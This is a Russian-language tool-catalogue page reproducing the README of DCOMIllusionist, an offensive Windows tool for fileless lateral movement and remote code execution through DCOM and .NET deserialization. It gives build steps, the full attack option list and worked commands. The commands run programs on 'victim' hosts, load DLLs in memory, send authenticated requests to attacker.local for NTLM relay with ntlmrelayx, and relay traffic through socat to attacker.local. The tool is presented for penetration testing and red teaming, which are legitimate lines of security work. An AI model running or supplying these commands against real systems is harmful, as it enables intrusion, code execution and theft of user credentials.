Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DCOMIllusionist — DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию | Kitploit
Инструменты/GitHubGitHub/synacktiv/dcomillusionist
Повышение привилегийЭксплуатацияЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеАутентификацияRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
28333103 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
synacktiv/dcomillusionist

DCOMIllusionist

DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию

Репозиторий
🎩✨🪄

DCOMIllusionist

Техника бесфайлового бокового перемещения в Windows.

Введение  •  Сборка  •  Использование  •  Технические подробности  •  Благодарности


Введение

Этот инструмент позволяет выполнять удалённый код на машине Windows при наличии административных привилегий. Он использует DCOM и особенность .NET DCOM-серверов, которые автоматически десериализуют входящие объекты. Это даёт возможность выполнять произвольные команды или загружать DLL без записи на диск.

Изначально обнаруженный Джеймсом Форшоу как метод повышения привилегий, этот способ был адаптирован для бокового перемещения путём удалённого изменения определённых ключей реестра. Кроме того, он поддерживает эксплуатацию между сеансами через DCOM, позволяя выполнять произвольные команды в сеансе другого пользователя в контексте безопасности этого сеанса.

Инструмент работает на рабочих станциях и серверах, но для работы этой техники требуется сетевой доступ между целевой машиной и машиной, контролируемой атакующим.

Более подробно в этом разделе.

Сборка

Доступен готовый релиз, либо можно собрать инструмент вручную:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Использование

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
Для успешного использования этого инструмента требуются административные привилегии как на атакующем хосте (через повышенную оболочку), так и на целевой машине.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Как уже объяснялось, можно указать сеанс для выполнения произвольной команды в сеансе другого пользователя.

[!WARNING] Это работает только с AppID, настроенными на запуск от имени интерактивного пользователя. Данное поведение обрабатывается автоматически: нет необходимости указывать аргумент --appid, поскольку инструмент по умолчанию использует AppID, связанный с Параметрами контроля учётных записей.

[!IMPORTANT] Работает только в том случае, если атакующая машина входит в домен; подробнее здесь.

--list-sessions

Показывает список удалённых интерактивных и активных сеансов на целевой машине с помощью WTSEnumerateSessions.

--listen

Если целевая машина не может напрямую подключиться к хосту атакующего, эксплуатация завершится неудачей. Однако можно указать промежуточную машину, к которой целевая система способна подключиться. С помощью таких инструментов, как socat, трафик затем можно перенаправить с этого промежуточного узла на хост атакующего.

прослушивание

  • На скомпрометированной машине:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • На машине атакующего:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

При запуске эксплойта из оболочки runas /netonly связанная учётная запись не может быть определена автоматически. Поэтому для успешной атаки необходимо явно указать её с помощью опции --attacker-sid.

--exec

--exec можно использовать вместе с --exec-args для выполнения произвольных бинарных файлов на целевой машине:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec — это просто обёртка над ним; то же самое можно сделать с помощью: --ps-exec calc

--curl

Curl может быть полезен в сценариях межсеансовой эксплуатации. Если у вас есть административные привилегии на машине и, например, администратор домена активен в сеансе 3, можно инициировать аутентифицированный HTTP-запрос, полностью средствами .NET, от имени этого пользователя. Направив этот запрос на машину атакующего, на которой запущен ntlmrelayx.py, можно выполнить традиционные NTLM relay-атаки для компрометации пользователя.

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

Можно загрузить произвольную DLL полностью в память, не касаясь диска. Например:

Скачать инструмент